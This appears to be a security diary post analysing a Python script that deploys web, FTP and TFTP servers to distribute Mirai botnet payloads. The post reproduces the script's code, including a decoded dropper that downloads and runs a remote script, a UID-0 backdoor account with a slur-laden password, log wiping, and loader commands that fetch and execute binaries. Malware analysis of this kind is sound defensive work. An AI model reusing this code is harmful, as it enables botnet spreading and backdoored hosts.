Overview of a Mirai Payload Generator
The Mirai[1] botnet is active for years. It was the first botnet targeting devices running Linux like camera recorders. Our first diary about it was in 2016![2]. Still today, my honeypot is hit by hundreds of Mirai requests every day! I found a Python script that generates a Mirai payload (SHA256:f56391e9645df1058847e28af6918c64ddc344d9f328b3dde9015213d5efdc7e[3]) and deploys networking services to serve it via FTP, HTTP, and TFTP. Nothing very fancy but it will give you a good idea about how Linux hosts are abused to deliver malicious payloads.
First, the script grabs the public IP address of the host and defines some parameters:
ip = urllib.urlopen('http://api.ipify.org').read() exec_bin = "yakuza" exec_name = "wget.ssh" bin_prefix = "" bin_directory = "vi" archs = ["x86.yakuza", "mips.yakuza", "mpsl.yakuza", "arm4.yakuza", "arm5.yakuza", "arm6.yakuza", "arm7.yakuza", "ppc.yakuza", "m68k.yakuza", "sh4.yakuza"]
Then, the script uses "yum" (so, it has been written to run in RedHat, CentOS, and Fedora distributions) to install the required packages to run network services to distribute the payloads:
def run(cmd): subprocess.call(cmd, shell=True) print("[CC] INSTALLING WEB SERVER DEPENDENCIES") run("yum install httpd -y &> /dev/null") run("service httpd start &> /dev/null") run("yum install xinetd tftp tftp-server -y &> /dev/null") run("yum install vsftpd -y &> /dev/null") run("service vsftpd start &> /dev/null") run('''echo "service tftp { socket_type = dgram protocol = udp wait = yes user = root server = /usr/sbin/in.tftpd server_args = -s -c /var/lib/tftpboot disable = no per_source = 11 cps = 100 2 flags = IPv4 } " > /etc/xinetd.d/tftp''') run("service xinetd start &> /dev/null") run('''echo "listen=YES local_enable=NO anonymous_enable=YES write_enable=NO anon_root=/var/ftp anon_max_rate=2048000 xferlog_enable=YES listen_address='''+ ip +''' listen_port=21" > /etc/vsftpd/vsftpd-anon.conf''') run("service vsftpd restart &> /dev/null") run("service xinetd restart &> /dev/null")
Malicious shell scripts are created in the "public" directories:
print("[CC] CREATING .SH BINS") time.sleep(3) run('echo "#!/bin/bash" > /var/lib/tftpboot/tyakuza.sh') run('echo "ulimit -n 1024" >> /var/lib/tftpboot/tyakuza.sh') run('echo "cp /bin/busybox /tmp/" >> /var/lib/tftpboot/tyakuza.sh') run('echo "#!/bin/bash" > /var/lib/tftpboot/tyakuza2.sh') run('echo "ulimit -n 1024" >> /var/lib/tftpboot/tyakuza2.sh') run('echo "cp /bin/busybox /tmp/" >> /var/lib/tftpboot/tyakuza2.sh') run('echo "#!/bin/bash" > /var/www/html/yakuza.sh') run('echo "ulimit -n 1024" >> /var/lib/tftpboot/tyakuza2.sh') run('echo "cp /bin/busybox /tmp/" >> /var/lib/tftpboot/tyakuza2.sh') run('echo "#!/bin/bash" > /var/ftp/yakuza1.sh') run('echo "ulimit -n 1024" >> /var/ftp/yakuza1.sh') run('echo "cp /bin/busybox /tmp/" >> /var/ftp/yakuza1.sh')
A backdoor is created via an alternate root account:
def exploitmake(cmd): subprocess.call(cmd, shell=True) encoded = "Y2QgL3RtcDsgd2d ... tYzsgY2xlYXI7" exploit = str(base64.b64decode(encoded)) exploitmake(exploit)
The Base64-encode data is (beautified):
cd /tmpwget hxxps://pastebin[.]com/raw/Lq9P9Cg5 -O a > /dev/null 2>&1 chmod 777 a sh a > /dev/null 2>&1 rm -rf a history -c clear
The content of the pastie is another script (also beautified):
useradd -o -u 0 -g 0 -M -d /root -s /bin/bash bigbots echo -e "fatnigger123\nfatnigger123" | passwd bigbots wget -q -O /tmp/... hxxps://iplogger[.]com/2XPge5 rm -rf /var/log/lastlog history -c
The host is now reachable via SSH with the rogue user 'bigbots'.
I could not find the payload downloaded from iplogger[.]com (a well-known domain for hosting malicious content).
Scripts are created for all supported architectures:
for i in archs: run('echo "cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://' + ip + '/'+bin_directory+'/'+bin_prefix+i+'; curl -O http://' + ip + '/'+bin_directory+'/'+bin_prefix+i+';cat '+bin_prefix+i+' >'+exec_bin+';chmod +x *;./'+exec_bin+' '+exec_name+'" >> /var/www/html/yakuza.sh') run('echo "cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; ftpget -v -u anonymous -p anonymous -P 21 ' + ip + ' '+bin_prefix+i+' '+bin_prefix+i+';cat '+bin_prefix+i+' >'+exec_bin+';chmod +x *;./'+exec_bin+' '+exec_name+'" >> /var/ftp/yakuza1.sh') run('echo "cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; tftp ' + ip + ' -c get '+bin_prefix+i+';cat '+bin_prefix+i+' >'+exec_bin+';chmod +x *;./'+exec_bin+' '+exec_name+'" >> /var/lib/tftpboot/tyakuza.sh') run('echo "cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; tftp -r '+bin_prefix+i+' -g ' + ip + ';cat '+bin_prefix+i+' >'+exec_bin+';chmod +x *;./'+exec_bin+' '+exec_name+'" >> /var/lib/tftpboot/tyakuza2.sh') run("service xinetd restart &> /dev/null") run("service httpd restart &> /dev/null") run('echo -e "ulimit -n 99999" >> ~/.bashrc')
Note that the binary executed by the script ("wget.ssh") was not present.
This gives you a good idea about how new hosts can be configured to deliver Mirai payloads!
[1] https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai
[2] https://isc.sans.edu/diary/A+few+Mirai+Updates+MIPS+PPC+version+a+bit+less+scanning/21631
[3] https://bazaar.abuse.ch/sample/f56391e9645df1058847e28af6918c64ddc344d9f328b3dde9015213d5efdc7e/
Xavier Mertens (@xme)
Xameco
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key
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